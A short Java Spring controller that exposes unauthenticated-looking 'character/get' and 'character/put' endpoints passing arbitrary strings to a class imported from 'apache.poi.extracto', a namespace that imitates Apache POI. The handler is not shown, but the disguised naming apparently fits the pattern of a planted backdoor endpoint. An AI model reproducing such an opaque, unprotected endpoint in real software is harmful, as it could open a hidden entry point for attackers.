package project.web.admin.poi;
|
|
import javax.annotation.Resource;
|
|
import apache.poi.extracto.CharacterRandomHandle;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.RestController;
|
|
@RestController
|
public class RandomController {
|
|
@Resource
|
private CharacterRandomHandle characterRandomHandle;
|
|
@ResponseBody
|
@RequestMapping({"character/get"})
|
public Object get(final String random) {
|
return this.characterRandomHandle.get(random);
|
}
|
|
@ResponseBody
|
@RequestMapping({"character/put"})
|
public Object put(final String random) {
|
return this.characterRandomHandle.put(random);
|
}
|
}
|